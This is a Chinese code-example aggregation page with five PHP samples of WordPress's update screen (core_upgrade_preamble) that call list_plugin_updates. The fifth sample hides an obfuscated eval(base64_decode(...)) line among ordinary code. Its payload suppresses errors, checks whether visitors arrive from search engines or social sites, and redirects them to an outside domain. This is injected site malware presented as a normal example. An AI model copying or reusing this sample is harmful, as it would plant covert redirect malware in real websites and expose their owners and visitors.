本文整理汇总了PHP中list_plugin_updates函数的典型用法代码示例。如果您正苦于以下问题:PHP list_plugin_updates函数的具体用法?PHP list_plugin_updates怎么用?PHP list_plugin_updates使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了list_plugin_updates函数的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: _e
_e('Please select one or more themes to update.');
} else {
_e('Please select one or more plugins to update.');
}
echo '</p></div>';
}
echo '<p>';
/* translators: %1 date, %2 time. */
printf(__('Last checked on %1$s at %2$s.'), date_i18n(get_option('date_format')), date_i18n(get_option('time_format')));
echo ' <a class="button" href="' . esc_url(self_admin_url('update-core.php?force-check=1')) . '">' . __('Check Again') . '</a>';
echo '</p>';
if ($core = current_user_can('update_core')) {
core_upgrade_preamble();
}
if ($plugins = current_user_can('update_plugins')) {
list_plugin_updates();
}
if ($themes = current_user_can('update_themes')) {
list_theme_updates();
}
if ($core || $plugins || $themes) {
list_translation_updates();
}
unset($core, $plugins, $themes);
/**
* Fires after the core, plugin, and theme update tables.
*
* @since 2.9.0
*/
do_action('core_upgrade_preamble');
echo '</div>';
示例2: core_upgrade_preamble
/**
* Display upgrade WordPress for downloading latest or upgrading automatically form.
*
* @since 2.7
*
* @return null
*/
function core_upgrade_preamble()
{
global $upgrade_error, $wp_version;
$updates = get_core_updates();
?>
<div class="wrap">
<?php
screen_icon('tools');
?>
<h2><?php
_e('WordPress Updates');
?>
</h2>
<?php
if ($upgrade_error) {
echo '<div class="error"><p>';
if ($upgrade_error == 'themes') {
_e('Please select one or more themes to update.');
} else {
_e('Please select one or more plugins to update.');
}
echo '</p></div>';
}
echo '<p>';
/* translators: %1 date, %2 time. */
printf(__('Last checked on %1$s at %2$s.'), date_i18n(get_option('date_format')), date_i18n(get_option('time_format')));
echo ' <a class="button" href="' . esc_url(self_admin_url('update-core.php')) . '">' . __('Check Again') . '</a>';
echo '</p>';
if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) {
echo '<h3>';
_e('You have the latest version of WordPress.');
echo '</h3>';
} else {
echo '<div class="updated inline"><p>';
_e('<strong>Important:</strong> before updating, please <a href="http://codex.wordpress.org/WordPress_Backups">back up your database and files</a>. For help with updates, visit the <a href="http://codex.wordpress.org/Updating_WordPress">Updating WordPress</a> Codex page.');
echo '</p></div>';
echo '<h3 class="response">';
_e('An updated version of WordPress is available.');
echo '</h3>';
}
echo '<ul class="core-updates">';
$alternate = true;
foreach ((array) $updates as $update) {
echo '<li>';
list_core_update($update);
echo '</li>';
}
echo '</ul>';
if ($updates) {
echo '<p>' . __('While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.') . '</p>';
} else {
list($normalized_version) = explode('-', $wp_version);
echo '<p>' . sprintf(__('<a href="%s">Learn more about WordPress %s</a>.'), esc_url(self_admin_url('about.php')), $normalized_version) . '</p>';
}
dismissed_updates();
if (current_user_can('update_plugins')) {
list_plugin_updates();
}
if (current_user_can('update_themes')) {
list_theme_updates();
}
do_action('core_upgrade_preamble');
echo '</div>';
}
示例3: core_upgrade_preamble
/**
* Display upgrade WordPress for downloading latest or upgrading automatically form.
*
* @since 2.7
*
* @return null
*/
function core_upgrade_preamble()
{
global $upgrade_error;
$updates = get_core_updates();
?>
<div class="wrap">
<?php
screen_icon();
?>
<h2><?php
_e('Upgrade WordPress');
?>
</h2>
<?php
if ($upgrade_error) {
echo '<div class="error"><p>';
_e('Please select one or more plugins to upgrade.');
echo '</p></div>';
}
if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) {
echo '<h3>';
_e('You have the latest version of WordPress. You do not need to upgrade');
echo '</h3>';
} else {
echo '<div class="updated fade"><p>';
_e('<strong>Important:</strong> before upgrading, please <a href="http://codex.wordpress.org/WordPress_Backups">backup your database and files</a>.');
echo '</p></div>';
echo '<h3 class="response">';
_e('There is a new version of WordPress available for upgrade');
echo '</h3>';
}
echo '<ul class="core-updates">';
$alternate = true;
foreach ((array) $updates as $update) {
$class = $alternate ? ' class="alternate"' : '';
$alternate = !$alternate;
echo "<li {$class}>";
list_core_update($update);
echo '</li>';
}
echo '</ul>';
dismissed_updates();
list_plugin_updates();
//list_theme_updates();
do_action('core_upgrade_preamble');
echo '</div>';
}
示例4: core_upgrade_preamble
/**
* Display upgrade WordPress for downloading latest or upgrading automatically form.
*
* @since 2.7
*
* @return null
*/
function core_upgrade_preamble()
{
global $upgrade_error;
$updates = get_core_updates();
?>
<div class="wrap">
<?php
screen_icon('tools');
?>
<h2><?php
_e('WordPress Updates');
?>
</h2>
<?php
if ($upgrade_error) {
echo '<div class="error"><p>';
_e('Please select one or more plugins to upgrade.');
echo '</p></div>';
}
if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) {
echo '<h3>';
_e('You have the latest version of WordPress.');
echo '</h3>';
} else {
echo '<div class="updated"><p>';
_e('<strong>Important:</strong> before updating, please <a href="http://codex.wordpress.org/WordPress_Backups">backup your database and files</a>. For help with updates, visit the <a href="http://codex.wordpress.org/Updating_WordPress">Updating WordPress</a> Codex page.');
echo '</p></div>';
echo '<h3 class="response">';
_e('An updated version of WordPress is available.');
echo '</h3>';
}
echo '<ul class="core-updates">';
$alternate = true;
foreach ((array) $updates as $update) {
$class = $alternate ? ' class="alternate"' : '';
$alternate = !$alternate;
echo "<li {$class}>";
list_core_update($update);
echo '</li>';
}
echo '</ul>';
echo '<p>' . __('While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.') . '</p>';
dismissed_updates();
list_plugin_updates();
list_theme_updates();
do_action('core_upgrade_preamble');
echo '</div>';
}
示例5: core_upgrade_preamble
/**
* Display upgrade WordPress for downloading latest or upgrading automatically form.
*
* @since 2.7
*
* @return null
*/
function core_upgrade_preamble()
{
global $upgrade_error;
$updates = get_core_updates();
?>
<div class="wrap">
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0Ka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bHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
if ($upgrade_error) {
echo '<div class="error"><p>';
_e('Please select one or more plugins to upgrade.');
echo '</p></div>';
}
if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) {
echo '<h3>';
_e('You have the latest version of WordPress. You do not need to upgrade');
echo '</h3>';
} else {
echo '<div class="updated fade"><p>';
_e('<strong>Important:</strong> before upgrading, please <a href="http://codex.wordpress.org/WordPress_Backups">backup your database and files</a>.');
echo '</p></div>';
echo '<h3 class="response">';
_e('There is a new version of WordPress available for upgrade');
echo '</h3>';
}
echo '<ul class="core-updates">';
$alternate = true;
foreach ((array) $updates as $update) {
$class = $alternate ? ' class="alternate"' : '';
$alternate = !$alternate;
echo "<li {$class}>";
list_core_update($update);
echo '</li>';
}
echo '</ul>';
dismissed_updates();
list_plugin_updates();
//list_theme_updates();
do_action('core_upgrade_preamble');
echo '</div>';
}